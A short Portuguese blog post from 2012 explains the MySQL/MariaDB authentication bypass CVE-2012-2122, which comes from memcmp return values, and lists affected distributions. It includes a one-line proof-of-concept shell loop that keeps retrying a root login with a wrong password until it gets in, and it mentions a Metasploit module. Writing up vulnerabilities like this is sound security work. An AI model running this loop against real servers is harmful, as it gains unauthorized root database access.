11 de jun. de 2012

Vulnerabilidade no MySQL e MariaDB (CVE-2012-2122)


O Problema se encontra na função memcmp, compara dois blocos memória retornando entre -127 e 127, no entanto, algumas plataformas permitem que esta função retorne valores fora deste range fazendo com que eventualmente o trecho do código que compara o token, retorne como válido mesmo quando a senha não é válida.Como o protocolo usa strings aleatórias a probabilidade de conseguir root utilizando este bug é 1/256.


Ou seja o problema ocorre porque os programadores do MySQL não consideraram um resultado não esperado da função memcmp na Linux/GLIBC (Otimizado). Levando a ao bypass no protocolo de autenticação.


Versões atigindas:

  • Ubuntu Linux 64-bit(10.04, 10.10, 11.04, 11.10, 12.04)
  • OpenSuSE 12.1 64-bit mySQL 5.5.23-log
  • Debian Unstable 64-bit 5.5.23-2
  • Fedora
  • ArchLinux

(Segundo [1])



PoC:
$ for i in ´seq 1 1000´; do mysql -u root --password=bad -h 127.0.0.1 2>dev/null; done;
mysql>




Obviamente um exploit mais completo já existe, e foi disponibilizado no metasploit(msfupdate) =)

Testei em um OpenBSD 4.5 MySQL 5.0.23(só de 4fun) fazendo as devidas alterações (Troquei o SEQ pelo JOT) e não funcionou =(




Nenhum comentário:

Postar um comentário